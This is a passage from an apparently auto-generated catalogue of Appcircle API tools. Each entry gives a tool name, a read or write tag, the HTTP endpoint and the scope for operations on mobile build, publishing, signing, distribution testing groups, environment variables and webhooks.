/api/v1/appcircle/publish/v2/rollout/{platformType}/{profileId}/{appVersionId}. Scopes: api. appcircle_get_v2_rollout_by_platformtype_by_profileid_by_appversionid_tracks (read) — Gets rollout tracks for an Android app version via GET /publish/v2/rollout/{platformType}/{profileId}/{appVersionId}/tracks GET /api/v1/appcircle/publish/v2/rollout/{platformType}/{profileId}/{appVersionId}/tracks. Scopes: api. appcircle_get_v2_sign (read) — Retrieves the daily usage report for signing operations. via GET /report/v2/sign GET /api/v1/appcircle/report/v2/sign. Scopes: api. appcircle_get_v2_sign_activity (read) — Retrieve Signing Identity Activity Report via GET /report/v2/sign/activity GET /api/v1/appcircle/report/v2/sign/activity. Scopes: api. appcircle_get_v2_testing_groups (read) — Gets all testing group list of current organization via GET /distribution/v2/testing-groups GET /api/v1/appcircle/distribution/v2/testing-groups. Scopes: api. appcircle_get_v2_testing_groups_by_groupid (read) — Gets testing group detail by Id via GET /distribution/v2/testing-groups/{groupId} GET /api/v1/appcircle/distribution/v2/testing-groups/{groupId}. Scopes: api. appcircle_get_v2_testing_groups_by_groupid_testers (read) — Exports testers of the specified test group to a CSV file. via GET /distribution/v2/testing-groups/{groupId}/testers GET /api/v1/appcircle/distribution/v2/testing-groups/{groupId}/testers. Scopes: api. appcircle_get_v2_testing_groups_testers (read) — Gets all testers of current organization via GET /distribution/v2/testing-groups/testers GET /api/v1/appcircle/distribution/v2/testing-groups/testers. Scopes: api. appcircle_get_v2_variable_groups (read) — Gets all variable groups via GET /build/v2/variable-groups GET /api/v1/appcircle/build/v2/variable-groups. Scopes: api. appcircle_get_v2_variable_groups_by_variablegroupid (read) — Get environment variable group details by group Id via GET /publish/v2/variable-groups/{variableGroupId} GET /api/v1/appcircle/publish/v2/variable-groups/{variableGroupId}. Scopes: api. appcircle_get_v2_variable_groups_by_variablegroupid_variables (read) — Get environment variables by group Id via GET /build/v2/variable-groups/{variableGroupId}/variables GET /api/v1/appcircle/build/v2/variable-groups/{variableGroupId}/variables. Scopes: api. appcircle_get_v2_webhooks (read) — Gets webhooks via GET /webhook/v2/webhooks GET /api/v1/appcircle/webhook/v2/webhooks. Scopes: api. appcircle_get_v2_webhooks_by_id (read) — Get details of a webhook via GET /webhook/v2/webhooks/{Id} GET /api/v1/appcircle/webhook/v2/webhooks/{Id}. Scopes: api. appcircle_get_v2_webhooks_history (read) — Get webhooks's delivery history via GET /webhook/v2/webhooks/history GET /api/v1/appcircle/webhook/v2/webhooks/history. Scopes: api. appcircle_get_v2_webhooks_history_by_webhookid (read) — Get a webhook's delivery history via GET /webhook/v2/webhooks/history/{webhookId} GET /api/v1/appcircle/webhook/v2/webhooks/history/{webhookId}. Scopes: api. appcircle_get_v2_webhooks_modules (read) — Gets all webhook scopes/modules via GET /webhook/v2/webhooks/modules GET /api/v1/appcircle/webhook/v2/webhooks/modules. Scopes: api. appcircle_get_v3_profiles_by_platformtype_by_profileid_publishflows_by_publishflowid_download (read) — Downloads a publish flow as a YAML file via GET /publish/v3/profiles/{platformType}/{profileId}/publishflows/{publishflowId}/download GET /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/publishflows/{publishflowId}/download. Scopes: api. appcircle_get_v3_profiles_by_profileid (read) — Gets profile detail by Id (GET /build/v3/profiles/{profileId}) via GET /build/v3/profiles/{profileId} GET /api/v1/appcircle/build/v3/profiles/{profileId}. Scopes: api. appcircle_get_v3_profiles_by_profileid_authorization_url (read) — Get available authorization URL for a profile via GET /build/v3/profiles/{profileId}/authorization-url GET /api/v1/appcircle/build/v3/profiles/{profileId}/authorization-url. Scopes: api. appcircle_get_v3_profiles_by_profileid_repositories (read) — Get repositories for a profile via GET /build/v3/profiles/{profileId}/repositories GET /api/v1/appcircle/build/v3/profiles/{profileId}/repositories. Scopes: api. appcircle_get_v3_profiles_by_profileid_workflows_by_workflowid_download (read) — Download a workflow as a YAML file via GET /build/v3/profiles/{profileId}/workflows/{workflowId}/download GET /api/v1/appcircle/build/v3/profiles/{profileId}/workflows/{workflowId}/download. Scopes: api. appcircle_get_v3_queue_by_taskid (read) — Gets queue item by taskId via GET /build/v3/queue/{taskId} GET /api/v1/appcircle/build/v3/queue/{taskId}. Scopes: api. appcircle_patch_v1_connection_by_connectionid_pat (write) — Update connection connection id pat via PATCH /build/v1/connection/{connectionId}/pat PATCH /api/v1/appcircle/build/v1/connection/{connectionId}/pat. Scopes: api. appcircle_patch_v2_profiles_by_platformtype_by_profileid (write) — Updates publish profile's settings via PATCH /publish/v2/profiles/{platformType}/{profileId} PATCH /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}. Scopes: api. appcircle_patch_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_1 (write) — (Deprecated use V3) Marks/Unmarks an app version as Release Candidate via PATCH /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appversionId} PATCH /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appversionId}~1. Scopes: api. appcircle_patch_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_2 (write) — (Deprecated use V3) Cancels a review submission for statuses WAITING_FOR_REVIEW, IN-REVIEW on App Store Connect via PATCH /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appversionId} PATCH /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appversionId}~2. Scopes: api. appcircle_patch_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_3 (write) — (Deprecated use V3) Rejects an app version, mark as rejected via PATCH /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appversionId} PATCH /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appversionId}~3. Scopes: api. appcircle_patch_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_4 (write) — (Deprecated use V3) Updates app version's release notes via PATCH /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appversionId} PATCH /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appversionId}~4. Scopes: api. appcircle_patch_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_metadata_files (write) — Changes orders of screenshots via PATCH /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata-files PATCH /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata-files. Scopes: api. appcircle_patch_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_playstore_metadata_files (write) — Reorders Play Store metadata files (screenshots) via PATCH /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata-files PATCH /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata-files. Scopes: api. appcircle_patch_v2_profiles_by_platformtype_by_profileid_publishflows_by_publishflowid_1 (write) — (Deprecated use V3) Limited updates only for the starter accounts, Updates a step details in a flow, like enabling, disabling the step, payload is YAML via PATCH /publish/v2/profiles/{platformType}/{profileId}/publishflows/{publishflowId} PATCH /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/publishflows/{publishflowId}~1. Scopes: api. appcircle_patch_v2_profiles_by_platformtype_by_profileid_publishflows_by_publishflowid_2 (write) — (Deprecated use V3) Updates default flow definition of a profile and all step details via YAML payload via PATCH /publish/v2/profiles/{platformType}/{profileId}/publishflows/{publishflowId} PATCH /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/publishflows/{publishflowId}~2. Scopes: api. appcircle_patch_v2_profiles_by_profileid (write) — Update a profile via PATCH /build/v2/profiles/{profileId} PATCH /api/v1/appcircle/build/v2/profiles/{profileId}. Scopes: api. appcircle_patch_v2_profiles_by_profileid_app_versions_by_appversionid_1 (write) — (Deprecated, use V3) Updates detail of the App version, which is uploaded or distributed by the build module. via PATCH /distribution/v2/profiles/{profileId}/app-versions/{appVersionId} PATCH /api/v1/appcircle/distribution/v2/profiles/{profileId}/app-versions/{appVersionId}~1. Scopes: api. appcircle_patch_v2_profiles_by_profileid_app_versions_by_appversionid_2 (write) — (Deprecated, use V3) Updates the message for the App version to be sent to the tester. via PATCH /distribution/v2/profiles/{profileId}/app-versions/{appVersionId} PATCH /api/v1/appcircle/distribution/v2/profiles/{profileId}/app-versions/{appVersionId}~2. Scopes: api. appcircle_patch_v2_profiles_by_profileid_app_versions_by_appversionid_publish (write) — publishs an app version to given channel on enterprise store via PATCH /store/v2/profiles/{profileId}/app-versions/{appVersionId}/publish PATCH /api/v1/appcircle/store/v2/profiles/{profileId}/app-versions/{appVersionId}/publish. Scopes: api. appcircle_patch_v2_profiles_by_profileid_app_versions_by_appversionid_publish_to_beta (write) — Publishes an app version to the Beta channel of the enterprise store. via PATCH /store/v2/profiles/{profileId}/app-versions/{appVersionId}/publish-to-beta PATCH /api/v1/appcircle/store/v2/profiles/{profileId}/app-versions/{appVersionId}/publish-to-beta. Scopes: api. appcircle_patch_v2_profiles_by_profileid_app_versions_by_appversionid_publish_to_public (write) — Publishes an app version to the Public (Live) channel of the enterprise store. via PATCH /store/v2/profiles/{profileId}/app-versions/{appVersionId}/publish-to-public PATCH /api/v1/appcircle/store/v2/profiles/{profileId}/app-versions/{appVersionId}/publish-to-public. Scopes: api. appcircle_patch_v2_profiles_by_profileid_app_versions_by_appversionid_unpublish (write) — unpublishs an app version from enterprise store via PATCH /store/v2/profiles/{profileId}/app-versions/{appVersionId}/unpublish PATCH /api/v1/appcircle/store/v2/profiles/{profileId}/app-versions/{appVersionId}/unpublish. Scopes: api. appcircle_patch_v2_profiles_by_profileid_app_versions_by_appversionid_unpublish_from_beta (write) — Unpublishes an app version from the Beta channel of the enterprise store. via PATCH /store/v2/profiles/{profileId}/app-versions/{appVersionId}/unpublish-from-beta PATCH /api/v1/appcircle/store/v2/profiles/{profileId}/app-versions/{appVersionId}/unpublish-from-beta. Scopes: api. appcircle_patch_v2_profiles_by_profileid_app_versions_by_appversionid_unpublish_from_public (write) — Unpublishes an app version from the Public (Live) channel of the enterprise store. via PATCH /store/v2/profiles/{profileId}/app-versions/{appVersionId}/unpublish-from-public PATCH /api/v1/appcircle/store/v2/profiles/{profileId}/app-versions/{appVersionId}/unpublish-from-public. Scopes: api. appcircle_patch_v2_profiles_by_profileid_configurations_by_configurationid (write) — Rename a configuration of a profile via PATCH /build/v2/profiles/{profileId}/configurations/{configurationId} PATCH /api/v1/appcircle/build/v2/profiles/{profileId}/configurations/{configurationId}. Scopes: api. appcircle_patch_v2_profiles_by_profileid_workflows (write) — Update an existing workflow of a build profile via PATCH /build/v2/profiles/{profileId}/workflows PATCH /api/v1/appcircle/build/v2/profiles/{profileId}/workflows. Scopes: api. appcircle_patch_v2_rollout_by_platformtype_by_profileid_by_appversionid_status (write) — Updates rollout status (halt, resume, promote) via PATCH /publish/v2/rollout/{platformType}/{profileId}/{appVersionId}/status PATCH /api/v1/appcircle/publish/v2/rollout/{platformType}/{profileId}/{appVersionId}/status. Scopes: api. appcircle_patch_v2_variable_groups_by_variablegroupid (write) — Renames environment group via PATCH /build/v2/variable-groups/{variableGroupId} PATCH /api/v1/appcircle/build/v2/variable-groups/{variableGroupId}. Scopes: api. appcircle_patch_v2_variable_groups_by_variablegroupid_variables (write) — Update non-secret environment variable values by group Id via PATCH /build/v2/variable-groups/{variableGroupId}/variables PATCH /api/v1/appcircle/build/v2/variable-groups/{variableGroupId}/variables. Scopes: api. appcircle_patch_v2_webhooks_by_id (write) — Update a webhook via PATCH /webhook/v2/webhooks/{Id} PATCH /api/v1/appcircle/webhook/v2/webhooks/{Id}. Scopes: api. appcircle_patch_v3_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_cancel_review (write) — Cancels a review submission for statuses WAITING_FOR_REVIEW, IN-REVIEW on App Store Connect via PATCH /publish/v3/profiles/{platformType}/{profileId}/app-versions/{appversionId}/cancel-review PATCH /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/app-versions/{appversionId}/cancel-review. Scopes: api. appcircle_patch_v3_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_reject (write) — Rejects an app version, mark as rejected via PATCH /publish/v3/profiles/{platformType}/{profileId}/app-versions/{appversionId}/reject PATCH /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/app-versions/{appversionId}/reject. Scopes: api. appcircle_patch_v3_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_release_candidate (write) — Marks/Unmarks an app version as Release Candidate via PATCH /publish/v3/profiles/{platformType}/{profileId}/app-versions/{appversionId}/release-candidate PATCH /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/app-versions/{appversionId}/release-candidate. Scopes: api. appcircle_patch_v3_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_release_notes (write) — Updates app version's release notes via PATCH /publish/v3/profiles/{platformType}/{profileId}/app-versions/{appversionId}/release-notes PATCH /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/app-versions/{appversionId}/release-notes. Scopes: api. appcircle_patch_v3_profiles_by_platformtype_by_profileid_publishflows_by_publishflowid (write) — Updates default flow definition of a profile and all step details via YAML payload via PATCH /publish/v3/profiles/{platformType}/{profileId}/publishflows/{publishflowId} PATCH /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/publishflows/{publishflowId}. Scopes: api. appcircle_patch_v3_profiles_by_platformtype_by_profileid_publishflows_by_publishflowid_details (write) — Limited update of a publish flow's step details (starter accounts) via PATCH /publish/v3/profiles/{platformType}/{profileId}/publishflows/{publishflowId}/details PATCH /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/publishflows/{publishflowId}/details. Scopes: api. appcircle_patch_v3_profiles_by_profileid_app_versions_by_appversionid (write) — Updates detail of the App version via PATCH /distribution/v3/profiles/{profileId}/app-versions/{appVersionId} PATCH /api/v1/appcircle/distribution/v3/profiles/{profileId}/app-versions/{appVersionId}. Scopes: api. appcircle_patch_v3_profiles_by_profileid_app_versions_by_appversionid_message (write) — Updates the message for the App version via PATCH /distribution/v3/profiles/{profileId}/app-versions/{appVersionId}/message PATCH /api/v1/appcircle/distribution/v3/profiles/{profileId}/app-versions/{appVersionId}/message. Scopes: api. appcircle_post_v1_bundle_identifier_by_appstorebundleidentifierid_create_from_app_store_by_storecredentialid (write) — Create bundle identifier app store bundle identifier id create from app store store credential id via POST /signing-identity/v1/bundle-identifier/{appStoreBundleIdentifierId}/create-from-app-store/{storeCredentialId} POST /api/v1/appcircle/signing-identity/v1/bundle-identifier/{appStoreBundleIdentifierId}/create-from-app-store/{storeCredentialId}. Scopes: api. appcircle_post_v1_bundle_identifier_create_from_app_store_by_storecredentialid (write) — Create bundle identifier create from app store store credential id via POST /signing-identity/v1/bundle-identifier/create-from-app-store/{storeCredentialId} POST /api/v1/appcircle/signing-identity/v1/bundle-identifier/create-from-app-store/{storeCredentialId}. Scopes: api. appcircle_post_v1_connection_by_connectionid_oauth_1 (write) — (Deprecated - V3 is Recommended) Create connection connection id oauth (POST /build/v1/connection/{connectionId}/oauth~1) via POST /build/v1/connection/{connectionId}/oauth POST /api/v1/appcircle/build/v1/connection/{connectionId}/oauth~1. Scopes: api. appcircle_post_v1_connection_by_connectionid_oauth_2 (write) — (Deprecated - V3 is Recommended) Create connection connection id oauth (POST /build/v1/connection/{connectionId}/oauth~2) via POST /build/v1/connection/{connectionId}/oauth POST /api/v1/appcircle/build/v1/connection/{connectionId}/oauth~2. Scopes: api. appcircle_post_v1_connection_pat_test (write) — Create connection pat test via POST /build/v1/connection/pat/test POST /api/v1/appcircle/build/v1/connection/pat/test. Scopes: api. appcircle_post_v1_queue_dequeue (write) — Dequeue by given payload via POST /build/v1/queue/dequeue POST /api/v1/appcircle/build/v1/queue/dequeue. Scopes: api. appcircle_post_v2_app_release_information_by_platformtype_by_profileid_by_appversionid (write) — Saves App Store release information for an app version via POST /publish/v2/app-release-information/{platformType}/{profileId}/{appVersionId} POST /api/v1/appcircle/publish/v2/app-release-information/{platformType}/{profileId}/{appVersionId}. Scopes: api. appcircle_post_v2_apple_store_connect_api_credentials_by_storecredentialid_check_devices (write) — Check eligibility status of devices against Apple for provided credential via POST /signing-identity/v2/apple-store-connect-api/credentials/{storeCredentialId}/check-devices POST /api/v1/appcircle/signing-identity/v2/apple-store-connect-api/credentials/{storeCredentialId}/check-devices. Scopes: api. appcircle_post_v2_bundle_identifier (write) — Creates bundle identifier in appcircle and appstore via POST /signing-identity/v2/bundle-identifier POST /api/v1/appcircle/signing-identity/v2/bundle-identifier. Scopes: api. appcircle_post_v2_bundle_identifier_by_appstorebundleidentifierid_create_from_app_store_by_storecredentialid (write) — Fetches bundle identifier from appstore and create in appcircle via POST /signing-identity/v2/bundle-identifier/{appStoreBundleIdentifierId}/create-from-app-store/{storeCredentialId} POST /api/v1/appcircle/signing-identity/v2/bundle-identifier/{appStoreBundleIdentifierId}/create-from-app-store/{storeCredentialId}. Scopes: api. appcircle_post_v2_commits_by_commithash (write) — Start new build for given profile, workflow, config setting and commit hash via POST /build/v2/commits/{commitHash} POST /api/v1/appcircle/build/v2/commits/{commitHash}. Scopes: api. appcircle_post_v2_commits_by_commitid_1 (write) — (Deprecated - V3 is Recommended) Start new build manually via POST /build/v2/commits/{commitId} POST /api/v1/appcircle/build/v2/commits/{commitId}~1. Scopes: api. appcircle_post_v2_commits_by_commitid_2 (write) — (Deprecated - V3 is Recommended) Start new build manually with specified workflow via POST /build/v2/commits/{commitId} POST /api/v1/appcircle/build/v2/commits/{commitId}~2. Scopes: api. appcircle_post_v2_keystores (write) — Create/Generate a keystore via POST /signing-identity/v2/keystores POST /api/v1/appcircle/signing-identity/v2/keystores. Scopes: api. appcircle_post_v2_profiles (write) — Creates distribute profile via POST /distribution/v2/profiles POST /api/v1/appcircle/distribution/v2/profiles. Scopes: api. appcircle_post_v2_profiles_app_versions (write) — Uploads new app version to an enterprise store profile by unique name or if profile doesn't exits creates new enterprise store profile via POST /store/v2/profiles/app-versions POST /api/v1/appcircle/store/v2/profiles/app-versions. Scopes: api. appcircle_post_v2_profiles_by_platformtype (write) — Creates a publish profile via POST /publish/v2/profiles/{platformType} POST /api/v1/appcircle/publish/v2/profiles/{platformType}. Scopes: api. appcircle_post_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid (write) — Start resign operation of an app version via POST /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId} POST /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}. Scopes: api. appcircle_post_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_intune_metadata (write) — Updates Microsoft Intune Metadata on Appcircle via POST /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/intune/metadata POST /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/intune/metadata. Scopes: api. appcircle_post_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_metadata (write) — Updates app version's metadata on Appcircle via POST /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata POST /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata. Scopes: api. appcircle_post_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_playstore_metadata (write) — Updates Play Store metadata for an app version via POST /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata POST /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata. Scopes: api. appcircle_post_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_submit_beta_testing (write) — Submits an app version for beta testing via POST /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/submit-beta-testing POST /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/submit-beta-testing. Scopes: api. appcircle_post_v2_profiles_by_platformtype_by_profileid_appinfo (write) — Updates App Info on App Store Connect and Appcircle via POST /publish/v2/profiles/{platformType}/{profileId}/appinfo POST /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/appinfo. Scopes: api. appcircle_post_v2_profiles_by_platformtype_by_profileid_beta_appinfo (write) — Updates beta (TestFlight) app information via POST /publish/v2/profiles/{platformType}/{profileId}/beta-appinfo POST /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/beta-appinfo. Scopes: api. appcircle_post_v2_profiles_by_platformtype_by_profileid_playstore_appinfo (write) — Updates Play Store app information via POST /publish/v2/profiles/{platformType}/{profileId}/playstore-appinfo POST /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/playstore-appinfo. Scopes: api. appcircle_post_v2_profiles_by_platformtype_by_profileid_publish_by_publishid_1 (write) — (Deprecated use V3) Stops a publish and all it's steps via POST /publish/v2/profiles/{platformType}/{profileId}/publish/{publishId} POST /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/publish/{publishId}~1. Scopes: api. appcircle_post_v2_profiles_by_platformtype_by_profileid_publish_by_publishid_2 (write) — (Deprecated use V3) Cancels a publish and all it's steps via POST /publish/v2/profiles/{platformType}/{profileId}/publish/{publishId} POST /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/publish/{publishId}~2. Scopes: api. appcircle_post_v2_profiles_by_platformtype_by_profileid_publish_by_publishid_3 (write) — (Deprecated use V3) Starts a publish, if stepId is specified starts from related step via POST /publish/v2/profiles/{platformType}/{profileId}/publish/{publishId} POST /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/publish/{publishId}~3. Scopes: api. appcircle_post_v2_profiles_by_platformtype_by_profileid_publish_by_publishid_4 (write) — (Deprecated use V3) Restarts a publish with the latest flow changes via POST /publish/v2/profiles/{platformType}/{profileId}/publish/{publishId} POST /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/publish/{publishId}~4. Scopes: api. appcircle_post_v2_profiles_by_profileid_1 (write) — (Deprecated - V3 is Recommended) Bind a repository for a profile via POST /build/v2/profiles/{profileId} POST /api/v1/appcircle/build/v2/profiles/{profileId}~1. Scopes: api. appcircle_post_v2_profiles_by_profileid_2 (write) — (Deprecated - V3 is Recommended) Bind a public repository for a profile via POST /build/v2/profiles/{profileId} POST /api/v1/appcircle/build/v2/profiles/{profileId}~2. Scopes: api. appcircle_post_v2_profiles_by_profileid_3 (write) — (Deprecated - V3 is Recommended) Bind a ssh repository for a profile via POST /build/v2/profiles/{profileId} POST /api/v1/appcircle/build/v2/profiles/{profileId}~3. Scopes: api. appcircle_post_v2_profiles_by_profileid_4 (write) — (Deprecated - V3 is Recommended) Update a public repository for a profile via POST /build/v2/profiles/{profileId} POST /api/v1/appcircle/build/v2/profiles/{profileId}~4. Scopes: api. appcircle_post_v2_profiles_by_profileid_5 (write) — (Deprecated - V3 is Recommended) Update a ssh repository of a profile via POST /build/v2/profiles/{profileId} POST /api/v1/appcircle/build/v2/profiles/{profileId}~5. Scopes: api. appcircle_post_v2_profiles_by_profileid_app_versions_by_appversionid (write) — (Deprecated, use V3) Sends App Version to tester/testers by using their Ids via POST /distribution/v2/profiles/{profileId}/app-versions/{appVersionId} POST /api/v1/appcircle/distribution/v2/profiles/{profileId}/app-versions/{appVersionId}. Scopes: api. appcircle_post_v2_profiles_by_profileid_configurations (write) — Create new build configuration for a profile via POST /build/v2/profiles/{profileId}/configurations POST /api/v1/appcircle/build/v2/profiles/{profileId}/configurations. Scopes: api. appcircle_post_v2_profiles_by_profileid_triggers (write) — Update a profile's trigger settings via POST /build/v2/profiles/{profileId}/triggers POST /api/v1/appcircle/build/v2/profiles/{profileId}/triggers. Scopes: api. appcircle_post_v2_profiles_by_profileid_workflows (write) — Create a new workflow for a build profile via POST /build/v2/profiles/{profileId}/workflows POST /api/v1/appcircle/build/v2/profiles/{profileId}/workflows. Scopes: api. appcircle_post_v2_provisioning_profiles_create_apple_provisioning_profile_and_save (write) — Create a provisioning profile in Appstore and save into Appcircle with given bundle, certificate and devices (POST /signing-identity/v2/provisioning-profiles/create-apple-provisioning-profile-and-save) via POST /signing-identity/v2/provisioning-profiles/create-apple-provisioning-profile-and-save POST /api/v1/appcircle/signing-identity/v2/provisioning-profiles/create-apple-provisioning-profile-and-save. Scopes: api. appcircle_post_v2_provisioning_profiles_renew_apple_provisioning_profile (write) — Create a provisioning profile in Appstore and save into Appcircle with given bundle, certificate and devices (POST /signing-identity/v2/provisioning-profiles/renew-apple-provisioning-profile) via POST /signing-identity/v2/provisioning-profiles/renew-apple-provisioning-profile POST /api/v1/appcircle/signing-identity/v2/provisioning-profiles/renew-apple-provisioning-profile. Scopes: api. appcircle_post_v2_rollout_by_platformtype_by_profileid_by_appversionid (write) — Updates rollout info for an Android app version via POST /publish/v2/rollout/{platformType}/{profileId}/{appVersionId} POST /api/v1/appcircle/publish/v2/rollout/{platformType}/{profileId}/{appVersionId}. Scopes: api. appcircle_post_v2_testing_groups (write) — Creates new testing group via POST /distribution/v2/testing-groups POST /api/v1/appcircle/distribution/v2/testing-groups. Scopes: api. appcircle_post_v2_testing_groups_by_groupid_testers_1 (write) — (Deprecated, use V3) Adds new tester/testers to test group which is created before. via POST /distribution/v2/testing-groups/{groupId}/testers POST /api/v1/appcircle/distribution/v2/testing-groups/{groupId}/testers~1. Scopes: api. appcircle_post_v2_variable_groups (write) — Creates new environment group via POST /build/v2/variable-groups POST /api/v1/appcircle/build/v2/variable-groups. Scopes: api. appcircle_post_v2_variable_groups_by_variablegroupid_variables (write) — Add new environment variables by group Id via POST /build/v2/variable-groups/{variableGroupId}/variables POST /api/v1/appcircle/build/v2/variable-groups/{variableGroupId}/variables. Scopes: api. appcircle_post_v2_webhooks (write) — Create a webhook via POST /webhook/v2/webhooks POST /api/v1/appcircle/webhook/v2/webhooks. Scopes: api. appcircle_post_v3_commits_by_commitid_build (write) — Start new build manually (uses last used or default workflow) via POST /build/v3/commits/{commitId}/build POST /api/v1/appcircle/build/v3/commits/{commitId}/build. Scopes: api. appcircle_post_v3_commits_by_commitid_build_by_workflow (write) — Start new build manually with specified workflow via POST /build/v3/commits/{commitId}/build/by-workflow POST /api/v1/appcircle/build/v3/commits/{commitId}/build/by-workflow. Scopes: api. appcircle_post_v3_connection_by_connectionid_oauth_reconnect (write) — Reconnect an OAuth connection via POST /build/v3/connection/{connectionId}/oauth/reconnect POST /api/v1/appcircle/build/v3/connection/{connectionId}/oauth/reconnect. Scopes: api. appcircle_post_v3_connection_by_connectionid_oauth_revoke (write) — Revoke an OAuth connection via POST /build/v3/connection/{connectionId}/oauth/revoke POST /api/v1/appcircle/build/v3/connection/{connectionId}/oauth/revoke. Scopes: api. appcircle_post_v3_profiles_by_platformtype_by_profileid_publish_by_publishid_cancel (write) — Cancels a publish and all its steps via POST /publish/v3/profiles/{platformType}/{profileId}/publish/{publishId}/cancel POST /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/publish/{publishId}/cancel. Scopes: api. appcircle_post_v3_profiles_by_platformtype_by_profileid_publish_by_publishid_restart (write) — Restarts a publish with the latest flow changes via POST /publish/v3/profiles/{platformType}/{profileId}/publish/{publishId}/restart POST /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/publish/{publishId}/restart. Scopes: api. appcircle_post_v3_profiles_by_platformtype_by_profileid_publish_by_publishid_start (write) — Starts a publish, if stepId is specified starts from related step via POST /publish/v3/profiles/{platformType}/{profileId}/publish/{publishId}/start POST /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/publish/{publishId}/start. Scopes: api. appcircle_post_v3_profiles_by_platformtype_by_profileid_publish_by_publishid_stop (write) — Stops a publish and all its steps via POST /publish/v3/profiles/{platformType}/{profileId}/publish/{publishId}/stop POST /api/v1/appcircle/publish/v3/profiles/{platformType}/{profileId}/publish/{publishId}/stop. Scopes: api. appcircle_post_v3_profiles_by_profileid_bind_public_repository (write) — Bind a public repository for a profile via POST /build/v3/profiles/{profileId}/bind-public-repository POST /api/v1/appcircle/build/v3/profiles/{profileId}/bind-public-repository. Scopes: api. appcircle_post_v3_profiles_by_profileid_bind_repository (write) — Bind a repository for a profile via POST /build/v3/profiles/{profileId}/bind-repository POST /api/v1/appcircle/build/v3/profiles/{profileId}/bind-repository. Scopes: api. appcircle_post_v3_profiles_by_profileid_bind_ssh_repository (write) — Bind an SSH repository for a profile via POST /build/v3/profiles/{profileId}/bind-ssh-repository POST /api/v1/appcircle/build/v3/profiles/{profileId}/bind-ssh-repository. Scopes: api. appcircle_post_v3_profiles_by_profileid_update_public_repository (write) — Update a public repository for a profile via POST /build/v3/profiles/{profileId}/update-public-repository POST /api/v1/appcircle/build/v3/profiles/{profileId}/update-public-repository. Scopes: api. appcircle_post_v3_profiles_by_profileid_update_ssh_repository (write) — Update an SSH repository of a profile via POST /build/v3/profiles/{profileId}/update-ssh-repository POST /api/v1/appcircle/build/v3/profiles/{profileId}/update-ssh-repository. Scopes: api. appcircle_post_v3_queue_by_taskid_cancel (write) — Cancels queue by taskId via POST /build/v3/queue/{taskId}/cancel POST /api/v1/appcircle/build/v3/queue/{taskId}/cancel. Scopes: api. appcircle_post_v3_testing_groups_by_groupid_testers (write) — Adds new tester/testers to test group which is created before. via POST /distribution/v3/testing-groups/{groupId}/testers POST /api/v1/appcircle/distribution/v3/testing-groups/{groupId}/testers. Scopes: api. appcircle_put_v2_bundle_identifier (write) — Updates bundle identifier and its capabilities in appcircle and applies changes in appstore via PUT /signing-identity/v2/bundle-identifier PUT /api/v1/appcircle/signing-identity/v2/bundle-identifier. Scopes: api. appcircle_put_v2_commits_by_commitid (write) — (Deprecated - V3 is Recommended) Start new build manually with specified workflow and environments via PUT /build/v2/commits/{commitId} PUT /api/v1/appcircle/build/v2/commits/{commitId}. Scopes: api. appcircle_put_v2_credential_appgallery_by_storecredentialid_rename (write) — 